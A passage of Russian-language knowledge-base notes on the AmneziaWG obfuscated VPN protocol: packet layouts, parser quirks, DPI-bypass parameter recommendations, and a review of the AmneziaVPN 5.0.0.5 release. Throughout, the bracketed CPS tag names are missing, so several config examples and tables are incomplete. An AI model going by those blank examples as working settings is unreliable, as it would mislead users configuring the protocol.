fingerprint для DPI — keepalive-пакеты имеют предсказуемый размер. ### 7. Размер сигнатурных пакетов - Минимум: 100+ байт (короткие подозрительны для DPI) - Оптимум: 100-500 байт - Максимум: ~1200 байт (UDP MTU) - Нет жёсткого ограничения в коде, но > MTU → фрагментация ### 8. Jmin/Jmax не проверяются перекрёстно В коде нет валидации `Jmin <= Jmax`. Каждый параметр проверяется только на `> 0` независимо. ### 9. `` игнорирует ошибки декодирования `Deobfuscate()` в `obf_datastring.go` вызывает `base64.Decode()`, но **отбрасывает ошибку** — потенциальный баг в реализации. ### 10. `` принимает только строчный "0x" `strings.TrimPrefix(val, "0x")` — убирает только `0x`, но **НЕ** `0X`. Если написать ``, hex-парсинг сломается. ### 11. Signature/junk только при Initiation Signature packets (i1-i5) и junk packets отправляются **только** при `SendHandshakeInitiation()`. `SendHandshakeResponse()` не содержит ссылок на `device.ipackets` и `device.junk` — Response отправляется без маскировки (только S2 padding и H2 header). ### 12. Transport пакеты батчатся `RoutineSequentialSender()` собирает несколько зашифрованных transport-пакетов в `bufs` (до `maxBatchSize` штук) и отправляет одним вызовом `peer.SendBuffers(bufs)`. S4 padding применяется к каждому пакету в batch индивидуально. ### 13. Пробелы в hex-строках `` молча обрезают данные Парсер CPS использует `strings.Fields()` и берёт только `parts[1]`: ``` → val="0xDEADBEEF" → OK, 4 байта → val="0xDE" → ТОЛЬКО 1 байт! (AD BE EF потеряны) ``` Ошибки нет, данные молча теряются. Все hex-цифры должны быть слитно. ### 14. Текст между тегами CPS молча игнорируется ``` "helloworld" → "hello" и "world" отброшены без ошибок " trailing text" → "trailing text" отброшен ``` Парсер ищет только содержимое внутри `< >`, всё остальное пропускается. ### 15. Только один динамический тег на цепочку Теги `` и `` имеют переменную длину выхода (зависит от входных данных). При `Deobfuscate()` длина вычисляется как: ```go dynamicLen := len(src) - c.ObfuscatedLen(0) // все динамические байты ``` Эта формула корректна **только если в цепочке один динамический тег**. Два динамических тега (напр. ``) вызовут buffer overrun — первый заберёт все байты, второму ничего не останется. Ограничение не документировано и не валидируется парсером. В контексте signature packets (i1-i5) это неактуально — src=nil, динамических данных нет. --- ## Рекомендации по выбору значений ### Для обхода базовых DPI (Россия, 2026) ```ini # Достаточно для большинства случаев Jc = 5 Jmin = 50 Jmax = 500 S1 = 40 S2 = 40 S3 = 0 S4 = 0 H1 = 100000000-200000000 H2 = 300000000-400000000 H3 = 500000000-600000000 H4 = 700000000-800000000 ``` ### Для продвинутых DPI (полная мимикрия) ```ini Jc = 7 Jmin = 50 Jmax = 1000 S1 = 68 S2 = 149 S3 = 32 S4 = 16 H1 = 471800590-471800690 H2 = 1246894907-1246895000 H3 = 923637689-923637690 H4 = 1769581055-1869581055 i1 = i2 = ``` ### Баланс безопасность vs скорость | Параметр | Влияние на скорость | Влияние на обфускацию | Когда работает | |----------|--------------------|-----------------------|----------------| | Jc | Минимальное | Среднее | Только handshake | | S1, S2 | Минимальное | Среднее | Только handshake | | S3 | Минимальное | Низкое | Редко (DoS) | | **S4** | **Значительное** | **Высокое** | **Каждый пакет** | | H1-H4 ranges | Минимальное (1 rand/пакет) | Высокое | Каждый пакет | | i1-i5 | Минимальное | Высокое | Только handshake | **S4 — единственный параметр с заметным влиянием на throughput.** Начинайте с S4=0, увеличивайте при необходимости. --- ## Структура в исходном коде ``` amneziawg-go/device/ ├── device.go # Device struct: junk, paddings, headers, ipackets[5] ├── uapi.go # IPC парсер: jc/jmin/jmax, s1-s4, h1-h4, i1-i5 ├── send.go # SendHandshakeInitiation/Response/Cookie, RoutineEncryption/Sender ├── receive.go # DeterminePacketTypeAndPadding(), RoutineReceiveIncoming ├── noise-protocol.go # CreateMessageInitiation/Response → H1/H2 headers ├── magic-header.go # magicHeader: newMagicHeader(), Generate(), Validate() ├── constants.go # PaddingMultiple=16, RekeyAfterTime=120s, etc. ├── obf.go # obfChain, obfBuilders map, newObfChain() парсер ├── obf_bytes.go # — фиксированные hex-байты ├── obf_timestamp.go # — Unix timestamp (4B big-endian) ├── obf_rand.go # — crypto/rand случайные байты ├── obf_randchars.go # — случайные буквы a-zA-Z (52 символа) ├── obf_randdigits.go # — случайные цифры 0-9 ├── obf_data.go # — pass-through (НЕ ДОКУМЕНТИРОВАН) ├── obf_datastring.go # — Base64 RawStdEncoding (НЕ ДОКУМЕНТИРОВАН) └── obf_datasize.go # — длина данных в байтах (НЕ ДОКУМЕНТИРОВАН) ``` --- ## Сравнение AWG 1.0 vs 2.0 | Возможность | AWG 1.0 | AWG 2.0 | |-------------|---------|---------| | Junk packets | Jc, Jmin, Jmax | Jc, Jmin, Jmax (без изменений) | | Handshake padding | S1, S2 | S1, S2, **S3**, **S4** | | Заголовки | H1-H4 (фиксированные uint32) | H1-H4 (**range-based**, N-M) | | Мимикрия | Нет | **i1-i5 + CPS** | | CPS теги | Нет | **8 тегов** (5 документированных + 3 скрытых) | | DPI bypass | Signature-based only | **Signature + statistical + protocol mimicry** | --- ## Побайтовая структура сообщений WireGuard Размеры верифицированы по структурам в `noise-protocol.go`: ### MessageInitiation — 148 байт ``` Offset Size Field ────── ──── ───────────────────────────── 0 4 Type (uint32, H1 magic header) 4 4 Sender (uint32, индекс отправителя) 8 32 Ephemeral (NoisePublicKey) 40 48 Static (NoisePublicKey 32 + Poly1305 Tag 16) 88 28 Timestamp (TAI64N 12 + Poly1305 Tag 16) 116 16 MAC1 (blake2s-128) 132 16 MAC2 (blake2s-128) ────── ──── 148 ИТОГО ``` ### MessageResponse — 92 байта ``` Offset Size Field ────── ──── ───────────────────────────── 0 4 Type (uint32, H2 magic header) 4 4 Sender (uint32) 8 4 Receiver (uint32) 12 32 Ephemeral (NoisePublicKey) 44 16 Empty (Poly1305 Tag, encrypted empty) 60 16 MAC1 (blake2s-128) 76 16 MAC2 (blake2s-128) ────── ──── 92 ИТОГО ``` ### MessageCookieReply — 64 байта ``` Offset Size Field ────── ──── ───────────────────────────── 0 4 Type (uint32, H3 magic header) 4 4 Receiver (uint32) 8 24 Nonce (XChaCha20-Poly1305 nonce) 32 32 Cookie (blake2s-128 16 + Poly1305 Tag 16) ────── ──── 64 ИТОГО ``` ### MessageTransport — 16+ байт (переменный) ``` Offset Size Field ────── ──────── ───────────────────────────── 0 4 Type (uint32, H4 magic header) 4 4 Receiver (uint32) 8 8 Counter (uint64, nonce) 16 variable Ciphertext (encrypted payload + 16B Poly1305 auth tag) ────── ──────── 16+ ИТОГО (заголовок фиксирован, payload переменный) ``` ### Полный wire-format transport пакета (с AWG обфускацией) ``` Порядок формирования (из кода): 1. RoutineEncryption(): - Генерирует H4 header → записывает в buffer[0:16] - calculatePaddingSize() → добавляет нули к payload (выравнивание до 16 байт) - AEAD Seal(header, nonce, padded_payload, nil): ciphertext = Encrypt(padded_payload) + 16B Poly1305 tag Результат: [16B header][ciphertext][16B tag] 2. RoutineSequentialSender() (если S4 > 0 и НЕ keepalive): - Сдвигает весь зашифрованный пакет вправо на S4 байт - Заполняет первые S4 байт случайными данными Итоговый пакет на проводе: ┌──────────────┬──────────────────────────┬────────────────────────────┬───────────┐ │ S4 random │ WG Transport Header │ encrypted(payload + align) │ Poly1305 │ │ (S4 байт) │ H4(4B) + recv(4B) + nonce│ (переменный) │ (16B tag) │ │ │ (8B) = 16 байт │ │ │ └──────────────┴──────────────────────────┴────────────────────────────┴───────────┘ ↑ header (16B, LE) ↑ ciphertext ↑ ``` ### MessageKeepalive — 32 байта ``` = MessageTransport с нулевым payload: 16B header + 16B Poly1305 tag (шифрование пустых данных) = 32 байта MessageKeepaliveSize = MessageTransportSize = 32 ``` --- ## Стандартные константы WireGuard (constants.go) ``` RekeyAfterMessages = 2^60 сообщений RejectAfterMessages = 2^64 - 2^13 - 1 RekeyAfterTime = 120 секунд ← интервал handshake (~2 мин) RekeyAttemptTime = 90 секунд RekeyTimeout = 5 секунд ← double-lock check в SendHandshakeInitiation RekeyTimeoutJitterMaxMs = 334 мс RejectAfterTime = 180 секунд KeepaliveTimeout = 10 секунд CookieRefreshTime = 120 секунд HandshakeInitiationRate = 1/50 секунды ← rate limit PaddingMultiple = 16 ← WireGuard внутреннее выравнивание payload MaxTimerHandshakes = 90 / 5 = 18 ← макс. попыток handshake ``` **Стандартные type values** (заменяются H1-H4): ``` MessageInitiationType = 1 MessageResponseType = 2 MessageCookieReplyType = 3 MessageTransportType = 4 MessageUnknownType = 0 (пакет не опознан → отброс) ``` --- ## Дополнительные технические детали ### Double-lock pattern в SendHandshakeInitiation() ```go // Быстрая проверка без блокировки (RLock): peer.handshake.mutex.RLock() if time.Since(peer.handshake.lastSentHandshake) < RekeyTimeout { peer.handshake.mutex.RUnlock() return nil // Слишком рано для нового handshake } peer.handshake.mutex.RUnlock() // Полная блокировка с повторной проверкой (Lock): peer.handshake.mutex.Lock() if time.Since(peer.handshake.lastSentHandshake) < RekeyTimeout { peer.handshake.mutex.Unlock() return nil } peer.handshake.lastSentHandshake = time.Now() peer.handshake.mutex.Unlock() ``` Классический double-check locking для предотвращения дупликатов handshake. ### calculatePaddingSize() — выравнивание payload ```go func calculatePaddingSize(packetSize, mtu int) int { lastUnit := packetSize if mtu == 0 { // Нет MTU → выравнивание до ближайших 16 байт return ((lastUnit + 16 - 1) & ^(16 - 1)) - lastUnit } if lastUnit > mtu { lastUnit %= mtu // Берём остаток от деления на MTU } paddedSize := ((lastUnit + 16 - 1) & ^(16 - 1)) if paddedSize > mtu { paddedSize = mtu // Не превышать MTU } return paddedSize - lastUnit } ``` Применяется ПЕРЕД AEAD-шифрованием в `RoutineEncryption()`. S4 добавляется ПОСЛЕ. **Примеры вычислений:** ``` calculatePaddingSize(1480, 1500) = 8 # 1480 → 1488 (ближайшее кратное 16) calculatePaddingSize(1500, 1500) = 0 # ceil(1500/16)*16=1504 > MTU → cap to 1500, pad=0 calculatePaddingSize(1501, 1500) = 15 # 1501 % 1500 = 1, ceil(1/16)*16=16, pad=15 calculatePaddingSize(0, 1500) = 0 # пустой payload (keepalive), 0 уже кратно 16 calculatePaddingSize(100, 0) = 12 # без MTU: ceil(100/16)*16=112, pad=12 ``` ### Нет unit-тестов для CPS Файл `obf_test.go` в репозитории **отсутствует**. Парсер CPS и все 8 обфускаторов не покрыты тестами. Это увеличивает риск скрытых багов (как `` Deobfuscate, игнорирующий ошибки). ### UAPI: порядок параметров при сериализации (GET) ``` jc → jmin → jmax → s1 → s2 → s3 → s4 → h1 → h2 → h3 → h4 → i1 → i2 → i3 → i4 → i5 ``` Параметры со значением 0/nil **не включаются** в вывод. --- ## Ошибки в статье на Хабре (по результатам анализа кода) | Что написано в статье | Что в коде | Комментарий | |----------------------|------------|-------------| | Init = 144 байта | `MessageInitiationSize` = 148 байт | Статья не учитывает 4 байта type field | | Response = 88 байт | `MessageResponseSize` = 92 байта | Аналогично | | Cookie Reply = 64 байта (в тексте), 60 байт (в схеме) | `MessageCookieReplySize` = 64 байта | Схема в статье неверна | | CPS: 5 тегов | 8 тегов в obfBuilders | ``, ``, `` не упомянуты | | `` = "случайные буквы/цифры [A-Za-z]" | Только буквы a-zA-Z (52 символа) | В статье ошибочно написано "букв/цифр" | | QUIC пример: `` | 11 hex-цифр = **нечётное** → ОШИБКА | Реальные конфиги: один `` blob ~1250 байт (чётное) | | Сигнатуры из мелких тегов `` | Клиент генерирует один `` blob | ``,``,`` для ручных конфигов; клиент пакует всё в статический hex | | Signature packets "перед каждым handshake" | Только перед **Init**, НЕ Response | SendHandshakeResponse() не содержит ipackets/junk | --- ## Реальные конфиги AmneziaVPN vs примеры из статьи ### Дефолтное значение I1 в клиенте AmneziaVPN Найдено в исходниках клиента — `client/protocols/protocols_defs.h`: ```cpp constexpr char defaultSpecialJunk1[] = ""; // I2-I5 по умолчанию пустые (отключены) ``` Это **составной формат**: - `` — 2 случайных байта (уникальность каждого handshake) - `` — 43 байта статического DNS-подобного пакета (домен "icloud.cfrm") I1-I5 в серверном скрипте `configure_container.sh` **закомментированы** (отключены по умолчанию). ### Два формата конфигов **Формат 1 — составной (клиент AWG 2.0, `protocols_defs.h`):** ``` I1 = ↑ random ↑ статические байты ``` Несколько тегов, есть рандомизация через ``, ``, ``. Каждый handshake — уникальный пакет. **Формат 2 — монолитный blob (конфиги старых версий/WARP):** ``` I1 = ↑ ОДИН тег , 1250 байт статических данных ``` Весь пакет сгенерирован заранее как один hex-blob. Каждый handshake — одинаковые байты. **Статья Хабр** (образовательный пример, сломанный): ``` I1 = ↑ 11 hex-цифр = нечётное → ошибка парсера "odd amount of symbols" ``` ### Какой формат правильный? Оба формата валидны для парсера `newObfChain()` в amneziawg-go. Разница в DPI-устойчивости: | | Составной (``) | Монолитный (`` blob) | |---|---|---| | Каждый handshake | Уникальный пакет | Одинаковые байты | | DPI fingerprint | Сложнее | Проще (статический паттерн) | | Размер конфига | Компактный | Огромный (2500+ hex-цифр) | | Генерация | Ручная или клиент AWG 2.0 | Клиент AWG 1.x / pre-generated | --- ## Что документирует README репозитория README (`amneziawg-go/README.md`) документирует **только** эти CPS-теги: ``` , , , , ``` Теги ``, ``, `` **не упомянуты** ни в README, ни в статье на Хабре — обнаружены только анализом исходного кода (`obfBuilders` map в `obf.go`). README рекомендует Jc = 4-12 и отмечает что все параметры дефолтятся в 0. --- ## Метаданные репозитория - **Версия**: 0.0.20250522 (из `version.go`) - **Go**: >= 1.24.4 - **AWG 2.0 merge**: сентябрь 2025 (PR #91 — ranged H1-H4, S3/S4) - **Последний значимый коммит**: 2025-12-01 — рефакторинг junk packets (#103) - **Unit-тесты CPS**: отсутствуют (`obf_test.go` не существует) - **Примеры конфигов**: нет (конфигурация только через IPC/UAPI) --- --- date: 2026-08-20 tags: - amnezia - awg - vpn - обзор-раздела aliases: - AmneziaWG 3.0 раздел - Амнезия 3.0 обзор - AWG 3 что нового - Amnezia VPN третье поколение - шифрование заголовков AmneziaWG --- # 🛡️ AmneziaWG 3.0 — раздел > [!info] О чём раздел > Материалы о **третьем поколении** протокола AmneziaWG (*AWG 3.0, АмнезияВГ*) — обфусцированного WireGuard от команды Amnezia, выпущенном 24 июля 2026 года. Главное отличие от [[amnezia-2-0/amnezia-2-0|AmneziaWG 2.0]] — шифрование заголовков пакетов. 12 августа 2026 года внутри поколения вышла линия 3.1 с параметрами `RandomTrailers` и `DisableCookies` — разбор в обзорной заметке ниже. ## Заметки раздела Порядок — от обзора к деталям: - [[amnezia-3-0/reference|AmneziaWG 3.0 — шифрование заголовков поверх WireGuard]] — что реально изменилось в третьем поколении и что это даёт против DPI. - [[amnezia-3-0/internals|Внутреннее устройство протокола]] — побайтовый разбор по исходному коду: как собирается пакет и что именно шифрует защита заголовков. - [[amnezia-3-0/client-5-0-0-5|AmneziaVPN 5.0.0.5 — что даёт обновление и что оно ломает]] — разбор релиза приложения от 26 июля 2026: что добавили, какие протоколы убрали без объявления, какие регрессии. ## 📚 См. также - [[amnezia-2-0/reference|AmneziaWG 2.0 — справочник параметров]] — предыдущее поколение протокола --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/amnezia-3-0/amnezia-3-0.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-08-04 tags: - amneziawg - vpn-клиенты - обход-блокировок - обновления aliases: - AmneziaVPN 5.0.0.5 - Amnezia 5.0 - Амнезия 5.0.0.5 - Амнезия ВПН обновление 2026 - Стоит ли обновлять Amnezia VPN - Parameter jc is undefined ошибка 1000 - Куда пропал OpenVPN over Cloak в Amnezia - Амнезия не подключается после обновления link: https://github.com/amnezia-vpn/amnezia-client/releases/tag/5.0.0.5 --- # 📦 AmneziaVPN 5.0.0.5 — что даёт обновление и что оно ломает > [!info] О чём заметка > Разбор релиза приложения AmneziaVPN 5.0.0.5 от 26 июля 2026 года: что добавили, какие протоколы убрали без объявления, какие регрессии всплыли в первые дни и стоит ли обновляться прямо сейчас. Про сам протокол, который приехал вместе с этим релизом, — в заметке [[amnezia-3-0/reference|AmneziaWG 3.0]]. ## TL;DR - **Обновление обязательно для клиентов сервиса.** Amnezia пишет прямо: «Обновление до AmneziaVPN 5.0.0.5 обязательно для всех пользователей Amnezia Premium и Amnezia Free» — на старых версиях [[amnezia-3-0/reference|AmneziaWG 3.0]] не работает. - **Главное содержимое** — поддержка AWG 3, два контейнера прокси для Telegram (MTProxy и Telemt), расширенная настройка VLESS и встроенный обновлятор для настольных систем. - **Тихо удалены два протокола**: OpenVPN over Cloak и Shadowsocks в качестве самостоятельного контейнера. Ни в анонсе, ни в списке изменений об этом не сказано, вопросы пользователей об их судьбе остались без ответа. - **Есть заметная регрессия**: на Android обычные конфигурации WireGuard перестали подключаться с ошибкой «Parameter jc is undefined» (код 1000). На 20 августа 2026 года исправляющего релиза нет; единственная реакция команды — вопрос коллаборатора от 14 августа, воспроизводится ли ошибка в ветке разработки. - **Часть систем осталась за бортом**: сборки для Android 7 и 8, macOS 10.15–12 и Debian 12 / Ubuntu 22.04 объявлены временно недоступными. ## Что это за релиз и откуда прыжок нумерации Речь про AmneziaVPN (*Amnezia VPN, «амнезия», «амнезия ВПН»*) — графическое приложение, из которого разворачивают и подключают VPN-серверы. Версия 5.0.0.5 опубликована на GitHub 26 июля 2026 года и стала первым стабильным выпуском новой ветки: предшественник 5.0.0.2 вышел днём раньше как предварительный, а последней версией четвёртой линейки была 4.8.21.0 от 10 июля 2026 года. Запись в блоге Amnezia появилась 28 июля. Скачок с 4.8 на 5.0 объясняется не только новым протоколом. Под капотом прошла крупная перестройка кода: pull request «Refactor/mvvm2» (160 коммитов), смерженный 30 апреля 2026 года, перевёл приложение на архитектуру MVVM и перетасовал структуру каталогов. Такие изменения не видны в интерфейсе, но именно они дают побочные эффекты вроде регрессии с параметрами обфускации, о которой ниже. > [!note] Не путайте с версиями протокола > «Пятёрка» здесь — номер приложения, «тройка» из заголовков новостей — номер протокола AmneziaWG. Разбор путаницы и хронология поколений протокола — в [[amnezia-3-0/reference|отдельной заметке про AmneziaWG 3.0]]. ## Что добавили Список изменений из релиза короткий, поэтому разберём по пунктам, что за ним стоит. **Поддержка AWG 3** — то, ради чего релиз и выпускался. Для подписчиков Premium третье поколение протокола становится основным, для бесплатного тарифа Amnezia Free — единственным доступным. Своих серверов это пока не касается: установить контейнер AWG 3.0 из приложения 5.0.0.5 нельзя; поддержка self-hosted (PR [#2908](https://github.com/amnezia-vpn/amnezia-client/pull/2908)) смержена в ветку разработки 6 августа 2026 года, но релиза с ней на 20 августа не выходило. **Контейнеры MTProxy и Telemt** — два прокси для Telegram, которые теперь можно развернуть на своём сервере прямо из приложения. MTProxy — форк официальной реализации на C. Telemt — сторонний проект (`github.com/telemt/telemt`) на Rust, поддерживающий режим FakeTLS: соединение без правильного секрета прозрачно уводится на настоящий сайт, так что порт выглядит обычным HTTPS-сервером. Механика этого режима и его слабые места разобраны в [[mtproxy/faketls-relay-diagnosis|диагностике FakeTLS-реле]], а обзор самого протокола — в [[mtproxy/mtproto-zig|заметке про MTProto-прокси]]. **Расширенная настройка VLESS** — в интерфейс вынесли параметры, которые раньше приходилось править в файле конфигурации: flow, SNI, host, path, транспорт и параметры безопасности, с проверкой перед подключением. Добавились транспорты XHTTP и mKCP. Что означают эти параметры — в заметках [[xray/vless|VLESS]] и [[xray/xhttp|XHTTP]]. **Встроенный обновлятор** для Windows, Linux и macOS с окном списка изменений. Полезнее, чем звучит: при волне блокировок команда выпускает срочные версии, и раньше пользователи узнавали о них случайно. **Платформенные улучшения**: версия macOS в App Store на системном Network Extension и сборка `.pkg` для процессоров ARM; на Android — поддержка устройств с 16-килобайтными страницами памяти. ## Что убрали, не сказав об этом Самое неприятное в релизе не написано в списке изменений. Сравнение содержимого тегов 4.8.21.0 и 5.0.0.5 показывает, что из приложения исчезли каталоги установки `openvpn_cloak` и `openvpn_shadowsocks`, а вместе с ними — и клиентские обработчики этих протоколов. Полный набор контейнеров, которые 5.0.0.5 умеет ставить на сервер: `awg`, `awg_legacy`, `wireguard`, `openvpn`, `xray`, `ipsec`, `mtproxy`, `telemt` плюс вспомогательные `dns`, `sftp`, `socks5_proxy`, `website_tor`. Практические следствия: - **OpenVPN over Cloak** больше нельзя ни установить, ни, судя по удалённым обработчикам, использовать из приложения версии 5.0.0.5. Пользователи с уже развёрнутым таким сервером остаются на 4.8.21.0. - **Shadowsocks** как отдельный контейнер исчез; импортировать ключи `ss://` по-прежнему можно — их обрабатывает встроенное ядро XRay. Что это за протокол и чем отличаются его редакции — в [[protocols/shadowsocks|заметке про Shadowsocks]]. Вопросы об этом на площадке обсуждений — [#2886](https://github.com/amnezia-vpn/amnezia-client/discussions/2886) «Is "OpenVPN over Cloak" gone now?» от 27 июля и [#2906](https://github.com/amnezia-vpn/amnezia-client/discussions/2906) с прямой просьбой вернуть поддержку от 30 июля — и на 20 августа 2026 года остаются без единого ответа. Официального объяснения, временно это или навсегда, нет. ## Регрессия с параметрами обфускации Главная техническая проблема релиза. При обновлении на Android конфигурации обычного WireGuard — без параметров обфускации — перестают подключаться с сообщением «VPN config format error: Parameter jc is undefined» и кодом ошибки 1000. Те же файлы на версии 4.8.21.0 работают. Разбор в обсуждении issue показывает причину: новый типизированный класс конфигурации WireGuard при преобразовании конфигурации туда-обратно теряет все параметры обфускации AmneziaWG, оставляя только флаг «обфускация включена». Android честно падает с ошибкой, а настольные версии ведут себя опаснее — молча поднимают туннель как **чистый WireGuard**, без всякой маскировки. > [!danger] Обходной путь лечит подключение, но не маскировку > В треде предлагают дописать в конфигурацию `Jc = 0` и значения `H1`–`H4` — соединение после этого устанавливается. Но там же другой участник сообщает, что с `Jc = 0` его трафик блокируют, а с ненулевыми значениями возвращается ошибка 1000. То есть обходной приём возвращает связь ценой отключения обфускации — в сетях с активным DPI это равносильно отсутствию защиты. Что именно делают параметры `Jc` и `H1`–`H4`, разобрано в [[amnezia-2-0/reference|справочнике по AmneziaWG 2.0]]. Статус на 20 августа 2026 года: issue [#2890](https://github.com/amnezia-vpn/amnezia-client/issues/2890), [#2902](https://github.com/amnezia-vpn/amnezia-client/issues/2902) и [#2887](https://github.com/amnezia-vpn/amnezia-client/issues/2887) открыты. Первая реакция команды появилась 14 августа: коллаборатор спросил в #2890, воспроизводится ли проблема на текущей ветке разработки dev. Исправление от стороннего разработчика — pull request [#2882](https://github.com/amnezia-vpn/amnezia-client/pull/2882) — не смержен и висит без ревью, нового релиза после 5.0.0.5 не выходило. ## Требования к системам и что отвалилось Заметка на релизе перечисляет три платформы, для которых сборок временно нет: Android 7 и 8, macOS 10.15–12, Debian 12 и Ubuntu 22.04.x. Формулировка везде одна — «temporarily unavailable», сроков возвращения не названо. | Система | Что требуется | Примечание | |---|---|---| | Android | 9 и выше | Нужен файл, имя которого начинается с `AmneziaVPN_5.0.0.5_android9+` | | macOS | 13+ по заметке к релизу, 14+ по записи в блоге | Расхождение официальных источников; версия из App Store — на Network Extension | | iOS | 18 и новее | Указано только в блоге | | Linux | новее Debian 12 / Ubuntu 22.04.x | Для Ubuntu нужны пакеты `libxcb-cursor0`, `libxcb-xinerama0` и соседние из инструкции к релизу | | Windows | без отдельных требований | — | Отдельная ловушка для владельцев старых устройств: даже заявленный минимум работает не всегда. Issue [#2891](https://github.com/amnezia-vpn/amnezia-client/issues/2891) от 28 июля описывает, что на Android 9 приложение показывает чёрный экран и вылетает, причём в комментариях то же сообщают про Android 10 и Android TV. Регрессия появилась между 4.8.21.0 и 5.0.0.2. Для macOS есть ещё одно требование, которое легко пропустить: предыдущие версии, установленные из образа `.dmg` (4.8.8.2 и ниже), нужно удалить вручную через папку «Программы» перед установкой пакета `.pkg`. ## Стоит ли обновляться Решение зависит от того, как вы пользуетесь Amnezia. **Подписка Premium или бесплатный Amnezia Free** — обновляйтесь, выбора нет. Сервис перевёл конфигурации на третье поколение протокола, и на версиях ниже 5.0.0.5 останется в лучшем случае VLESS. В Telegram-канале 28 июля 2026 года команда сформулировала это так: «Поддержка нового протокола AWG 3.0 будет доступна только на версиях 5.0.0.5 и новее. В ближайшее время на предыдущих версиях останется поддержка только VLESS» — и там же порекомендовала пользователям из России подключаться по VLESS. **Свой сервер с OpenVPN over Cloak или Shadowsocks-контейнером** — не обновляйтесь. Управлять этими установками из версии 5.0.0.5 не получится, откат придётся делать вручную. **Свой сервер с AmneziaWG 2.0** — обновление безопасно, старые конфигурации работают; выигрыша, впрочем, тоже почти нет, пока поддержку AWG 3.0 для своих серверов не смержат. **Обычные конфигурации WireGuard на Android** — подождите исправления регрессии или держите под рукой файл 4.8.21.0. ## Побочный сюжет: «устаревшее ядро XRay» В обсуждениях релиза регулярно всплывает претензия, что встроенное ядро XRay в Amnezia давно не обновлялось и потому VLESS работает хуже, чем в сторонних клиентах. На 4 августа 2026 года претензия неточна, но у неё есть понятное происхождение. Рабочая ветка форка `amnezia-xray-core` обновлялась 24 июля 2026 года (тег `v1.260724.0` на базе Xray-core 26.6.27) — отставание от основного проекта составляет около месяца, а не годы. Однако **ветка по умолчанию, которую видит любой зашедший на GitHub, остановилась 19 февраля 2026 года** на куда более старой основе. Отсюда и впечатление заброшенности. Как выбирают между ядрами и почему версия ядра важнее версии графической оболочки — в [[Clash/08-vs-sing-box|сравнении mihomo, sing-box и Xray]] и [[xray/project-x|заметке про Project X]]. ## 📚 См. также - [[amnezia-3-0/reference|AmneziaWG 3.0]] — протокол, ради которого выпущен этот релиз: шифрование заголовков, новые параметры, совместимость. - [[amnezia-3-0/internals|Внутреннее устройство AmneziaWG 3.0]] — что именно шифруется в пакете и какие следы протокол оставляет в сети. - [[amnezia-2-0/reference|AmneziaWG 2.0: справочник параметров]] — что означают `Jc`, `S1`–`S4`, `H1`–`H4` и `I1`–`I5` в конфигурациях. - [[protocols/00-overview|Карта протоколов обхода блокировок]] — чем заменить выпавшие Cloak и Shadowsocks. - [[mtproxy/faketls-relay-diagnosis|Диагностика FakeTLS-реле]] — как устроен режим маскировки, который приносит контейнер Telemt. - 🔗 [Список изменений 5.0.0.5](https://github.com/amnezia-vpn/amnezia-client/releases/tag/5.0.0.5) — первоисточник с требованиями к системам. - 🔗 [Запись в блоге Amnezia](https://amnezia.org/ru/blog/amneziavpn-5-0-0-5-update) — официальный анонс от 28 июля 2026 года. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/amnezia-3-0/client-5-0-0-5.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - amneziawg - wireguard - обфускация - dpi - reverse-engineering aliases: - AmneziaWG 3.0 внутреннее устройство - AWG 3.0 wire-format - Header protection AmneziaWG - Как устроена Амнезия 3.0 изнутри - HeaderProtectionKey что это и как сгенерировать - Почему S1-S4 должны быть не меньше 12 - ContentPaddingAddition в AmneziaWG - Амнезия ВПН шифрование заголовков - AmneziaWG рукопожатие каждые 15 секунд - unknown tag c AmneziaWG link: https://github.com/amnezia-vpn/amneziawg-go/tree/v3.0.3 --- # 🔬 AmneziaWG 3.0: внутреннее устройство протокола > [!info] О чём заметка > Побайтовый разбор третьего поколения AmneziaWG по исходному коду: как собирается пакет, что именно шифрует защита заголовков, откуда берётся одноразовое число, как приёмная сторона опознаёт тип сообщения, не расшифровав его целиком, и какие следы протокол всё ещё оставляет в сети. Обзорная часть — назначение, доступность, история версий — в заметке [[amnezia-3-0/reference|AmneziaWG 3.0]]; параметры предыдущего поколения (`Jc`, `S1`–`S4`, `H1`–`H4`, язык CPS) подробно разобраны в [[amnezia-2-0/reference|справочнике по AmneziaWG 2.0]] и здесь не повторяются. ## TL;DR - Третье поколение добавляет к обфускации ровно три механизма: **защита заголовков** (ChaCha20 поверх готовых сообщений WireGuard), **content padding** (случайное удлинение полезной нагрузки вместо выравнивания по 16 байт) и **диапазонные тайминги** (новое случайное значение при каждом взводе таймера). - Одноразовое число (nonce) для шифра **не передаётся отдельно** — им служат первые 12 байт того самого случайного паддинга `S1`–`S4`, который в 2.0 был просто мусором. Отсюда требование `S1`–`S4` ≥ 12 при включённой защите. - Приёмная сторона использует изящный приём: шифрует блок нулей, получая первые 4 байта потока ключа, и этим «хэшем типа» расшифровывает только поле типа — чтобы опознать сообщение до разбора остального пакета. - **Тихое улучшение, не отмеченное нигде в документации**: keepalive-пакеты теперь получают и паддинг `S4`, и content padding. В [[amnezia-2-0/reference|AWG 2.0]] они шли без `S4` и имели постоянный размер 32 байта — это была заметная сигнатура. У улучшения оказался побочный эффект: до исправления 5 августа 2026 года западдженный keepalive засчитывался как пакет с данными, и простаивающий туннель делал рукопожатие каждые ~15 секунд — примерно в десять раз чаще нормы; разбор ниже. - **Что 3.0 не закрывает**: размеры рукопожатий остаются постоянными для конкретной конфигурации (`S1`+148 и `S2`+92 байта), потому что content padding применяется только к транспортным пакетам. Пара «фиксированный запрос → фиксированный ответ → поток» по-прежнему видна наблюдателю. Именно этот признак закрывает линия 3.1 от 12 августа 2026 года параметром `RandomTrailers` — см. [[amnezia-3-0/reference|обзорную заметку]]. ## Как проверялись факты Всё ниже прочитано в исходниках движка [amneziawg-go](https://github.com/amnezia-vpn/amneziawg-go) на теге **`v3.0.3`** (коммит `cf9d2dd`, 31 июля 2026 года) — это последняя на 4 августа 2026 года версия третьего поколения. Ключевые файлы: `device/noise-types.go` (константы и тип диапазона), `device/noise-protocol.go` (выдача шифра), `device/send.go` (сборка 